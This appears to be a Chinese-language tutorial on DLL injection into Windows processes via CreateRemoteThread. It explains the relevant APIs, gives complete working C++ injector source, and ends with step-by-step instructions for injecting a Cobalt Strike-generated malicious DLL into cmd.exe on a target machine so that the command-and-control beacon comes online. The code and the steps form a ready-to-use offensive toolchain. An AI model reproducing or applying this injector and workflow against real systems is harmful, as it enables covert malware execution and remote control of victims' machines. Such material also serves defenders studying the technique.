程序注入之CreateRemoteThread()
注入原理
原理是將惡意的動態連結庫路徑寫入到另一個程序的虛擬空間內,通過在目標程序中建立遠端執行緒進行載入。
但是程式不會無故載入我們惡意的dll,所以我們就要使用Windows API
了,它提供了大量的函式來附加和操縱其他程序。
API中的所有函式都包含於DLL檔案之中。其中,最重要的是Kernel32.dll
(包含管理記憶體,程序和執行緒相關的函式),User32.dll
(大部分是使用者介面函式),和“GDI32.dll”(繪製圖形和顯示文字相關的函式)等。
注入程式碼的實現
由於基本上大多數程序都會使用Kernel32.dll
,核心思想就是在目標程序中開啟一個執行緒呼叫LoadLibrary
大致注入流程如下圖
使用到的一些函式
OpenProcess
函式OpenProcess
函式用來開啟一個已存在的程序物件,並返回程序的控制代碼。
HANDLE OpenProcess(
DWORD dwDesiredAccess, //想擁有的該程序訪問許可權
BOOL bInheritHandle, // 是否繼承控制代碼
DWORD dwProcessId// 被開啟程序的PID
);
引數解釋:
a.dwDesiredAccess:想擁有的該程序訪問許可權
PROCESS_ALL_ACCESS //所有能獲得的許可權
PROCESS_CREATE_PROCESS //需要建立一個程序
PROCESS_CREATE_THREAD //需要建立一個執行緒
PROCESS_DUP_HANDLE //重複使用DuplicateHandle控制代碼
PROCESS_QUERY_INFORMATION //獲得程序資訊的許可權,如它的退出程式碼、優先順序
PROCESS_QUERY_LIMITED_INFORMATION (獲得某些資訊的許可權,如果獲得了PROCESS_QUERY_INFORMATION,也擁有PROCESS_QUERY_LIMITED_INFORMATION許可權)
PROCESS_SET_INFORMATION //設定某些資訊的許可權,如程序優先順序
PROCESS_SET_QUOTA //設定記憶體限制的許可權,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME //暫停或恢復程序的許可權
PROCESS_TERMINATE //終止一個程序的許可權,使用TerminateProcess
PROCESS_VM_OPERATION //操作程序記憶體空間的許可權(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ //讀取程序記憶體空間的許可權,可使用ReadProcessMemory
PROCESS_VM_WRITE //讀取程序記憶體空間的許可權,可使用WriteProcessMemory
SYNCHRONIZE //等待程序終止
b.bInheritHandle:表示所得到的程序控制代碼是否可以被繼承
c.dwProcessId:被開啟程序的PID
返回值:
如成功,返回值為指定程序的控制代碼。
如失敗,返回值為NULL
,可呼叫GetLastError()
獲得錯誤程式碼。
VirtualAllocEx
函式
獲得返回控制代碼之後再用VirtualAllocEx
函式,在目標程序中開闢一塊記憶體存放我們的dll的路徑。
LPVOID VirtualAllocEx( HANDLE hProcess, // 申請記憶體所在的程序控制代碼 LPVOID lpAddress, // 保留頁面的記憶體地址;一般用NULL自動分配 SIZE_T dwSize, // 欲分配的記憶體大小,位元組單位;注意實際分 配的記憶體大小是頁記憶體大小的整數倍 DWORD flAllocationType, //為特定的頁面區域分配記憶體中或磁碟 DWORD flProtect //受保護狀態 );
WriteProcessMemory
函式
之後使用WriteProcessMemory
函式向目標記憶體寫入dll地址
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess, //由OpenProcess返回的程序控制代碼。
_In_ LPVOID lpBaseAddress, //要寫的記憶體首地址
_In_ LPCVOID lpBuffer, //指向要寫的資料的指標。
_In_ SIZE_T nSize, //要寫入的位元組數。
_Out_ SIZE_T *lpNumberOfBytesWritten //返回值。返回實際寫入的位元組
);
用GetProcAddress
函式獲得LoadLibraryW
函式的起始地址。LoadLibraryW
函式位於Kernel32.dll
中,再用CreateRemoteThread
函式讓目標程序執行LoadLibraryW
來載入被注入的dll。函式結束將返回載入dll後的模組控制代碼。
注意:這裡的LoadLibrary
函式在底層實際呼叫有兩種可能,如果目標程式使用的是ANSI
編碼方式,LoadLibrary
實際呼叫的是LoadLibraryA
,其引數字串應當是ANSI
編碼;
如果目標程式使用的是Unicode
編碼方式,LoadLibrary
實際呼叫的是LoadLibraryW
,其引數字串應當是Unicode
編碼。
完整程式碼
// ConsoleApplication1.cpp : 此檔案包含 "main" 函式。程式執行將在此處開始並結束。
#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Tlhelp32.h>
BOOL Inject(DWORD dwId, WCHAR* szPath)
//引數1:目標程序id; 引數2:DLL路徑
{
//1.在目標程序中申請一個空間
/*
1.1獲取目標程序控制代碼
引數1:想要擁有的程序許可權
引數2:表示所得到的程序控制代碼是否可以被繼承
引數3:被開啟進程序的pid
返回值:指定程序的控制代碼
*/
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
/*
1.2在目標程序中開闢空間
引數1:目標程序控制代碼
引數2:保留頁面的記憶體地址,一般用NULL自動分配
引數3:想要分配的記憶體大小,位元組為單位
引數4:ME_COMMIT:為特定的頁面區域分配記憶體中或磁碟的頁面檔案中的物理儲存
引數5:PAGE_READWRITE:區域可被應用程式讀寫
返回值:執行成功就返回分配記憶體的首地址,不成功就是NULL
*/
LPVOID pRemoteAdress = VirtualAllocEx(
hProcess,
NULL,
wcslen(szPath) * 2,
MEM_COMMIT,
PAGE_READWRITE
);
//2.把dll的路徑寫入到目標程序的記憶體空間中
DWORD dwWriteSize = 0;
/*
寫一段資料到剛才給指定程序所開闢的記憶體空間裡
引數1:OpenProcess返回的程序控制代碼
引數2:準備寫入的記憶體地址
引數3:指向要寫入的資料指標(準備寫入的東西)
引數4:要寫的位元組數(東西的長度+0/)
引數5:返回值,返回實際寫入的位元組
*/
BOOL bRet = WriteProcessMemory(hProcess, pRemoteAdress, szPath, wcslen(szPath) * 2, NULL);
//3.建立一個遠端執行緒,讓目標程序呼叫LoadLibrary
/*
引數1:該遠端執行緒所屬程序的程序控制代碼
引數2:一個指向SECURITY_ATTRIBUTES結構的指標,該結構指定了執行緒的安全屬性
引數3:執行緒棧初始大小,以位元組為單位,若該值設為0,那麼使用系統預設大小
引數4:在遠端程序的地址空間中,該執行緒的執行緒函式的起始地址(也就是這個執行緒具體乾的活)
引數5:傳給執行緒函式的引數(剛才在記憶體裡開闢的空間裡寫入的東西)
引數6:控制執行緒建立的標誌。0(NULL)表示該執行緒在建立後立即執行
引數7:指向接收執行緒識別符號的變數的指標。如果為NULL,則不返回執行緒識別符號
返回值;如果函式成功,則返回值是新執行緒的控制代碼。如果函式失敗,則返回值為NULL
*/
//獲取模組地址
HMODULE hModule = GetModuleHandle(L"kernel32.dll");
if (!hModule)
{
printf("GetModuleHandle Error !\n");
GetLastError();
CloseHandle(hProcess);
return FALSE;
}
//獲取LoadLibraryA函式地址
LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");
if (!dwLoadAddr)
{
printf("GetProcAddress Error !\n");
GetLastError();
CloseHandle(hProcess);
CloseHandle(hModule);
return FALSE;
}
//建立遠端執行緒,載入dll
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)dwLoadAddr,
pRemoteAdress,
NULL,
NULL
);
//WaitForSingleObject(hThread, -1);當控制代碼所指的執行緒右訊號的時候才會返回
/*
4.釋放申請的虛擬記憶體空間
引數1:目標程序的控制代碼。該控制代碼必須擁有PROCESS_VM-OPERATION許可權
引數2:指向要釋放的虛擬記憶體空間首地址的指標
引數3:虛擬記憶體空間的位元組數
引數4:MEM_DECOMMIT僅表示記憶體空間不可用,記憶體頁還將存在
MEM_RELEASE這種方式很徹底,完全回收。
VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_DECOMMIT);
*/
return 0;
}
DWORD GetPid(WCHAR* szName)
{
HANDLE hprocessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hprocessSnap, &pe32))
{
do {
if (!wcscmp(szName, pe32.szExeFile))
return (int)pe32.th32ProcessID;
} while (Process32Next(hprocessSnap, &pe32));
}
else
CloseHandle(hprocessSnap);
return 0;
}
int main()
{
wchar_t wStr[] = L"·····";//要注入的dll檔案地址
DWORD dwId = 0;
DWORD dwPid = 0;
WCHAR S[] = L"···";//注入的目標exe檔案
DWORD SS = GetPid(S);
printf("目標視窗的程序PID為:%d\n", SS);
//引數1:目標程序的PID
//引數2:想要注入dll的路徑
Inject(SS, wStr);
system("pause");
return 0;
}
利用此方法上線CS
1.開啟Visual Studio新建一個專案
2.將上述完整程式碼新增進去
3.我們利用cs建立一個監聽
4.生成惡意dll檔案
這裡根據需求選擇32位或者64位,我這裡演示的是32位的,選擇剛才建立的監聽
生成dll檔案
5.將dll檔案放置在目標機的D盤下,我這裡注入的程序是cmd.exe
,並將main
函式補全。
6.編譯生成exe檔案,在將該exe檔案在目標及執行即可
7.檢查發現cmd.exe
中成功載入了惡意dll,且CS也成功上線